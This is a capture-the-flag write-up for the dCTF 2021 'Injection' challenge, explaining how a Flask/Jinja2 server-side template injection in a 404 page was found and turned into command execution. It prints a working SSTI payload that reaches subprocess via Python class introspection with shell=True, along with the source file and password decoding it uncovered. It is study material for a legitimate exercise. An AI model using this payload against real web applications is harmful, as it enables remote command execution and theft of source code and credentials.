Posts

dCTF 2021: Injection

Finding a Flask/Jinja SSTI, reading source files, and decoding the final password.

Original challenge writeup: Injection.md

Challenge URL: http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

Pasted image 20210516170501

The site had an admin login with User, Password, and a hidden Submit field.

Submitting anything did not work. It redirected to /login, where the page returned:

Oops! Page login doesn't exist :(

I was stuck on this one for a while. I checked robots.txt, tried common directories, and looked around the root path where the image was stored, but I did not find anything useful.

Eventually I noticed that the site reflected whatever path I requested inside the 404 response, even simple XSS input:

Pasted image 20210516170833

At first I thought this might be SQL injection, which slowed me down because I barely knew any SQLi at the time.

After reading a few CTF writeups with similar behavior, I found the keyword I needed: SSTI.

I had already read about SSTI before this challenge, but I did not make the connection right away.

Finding SSTI

I tried this:

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}

The response was:

Oops! Page 2 doesn't exist :(

That confirmed the template expression was being evaluated.

Next, I tried:

{{config}}

That returned a lot of data, including this message:

'MESSAGE': 'You are getting closer!'

From there, the goal was to turn the SSTI into command execution. The payload I ended up using was:

{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}

COMMAND is the command to run.

Running ls returned:

app.py
lib
static
templates

Running ls lib returned:

security.py

Then I read the file with cat lib/security.py:

import base64


def validate_login(username, password):
    if username != 'admin':
        return False
    valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
    return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password

The password was base64 encoded, reversed, and stripped of leading = padding. To decode it, I reversed it back and added the padding:

base64.b64decode(password[::-1]+"==")
b'dctf{4ll_us3r_1nput_1s_3v1l}'

That gave me the flag.

Notes

SSTI payloads can be very environment-dependent. Most of the payloads I found online did not work here, so I had to adapt one myself.

This Medium article was the most useful reference I found while working through it:

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

The final payload I used was:

{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}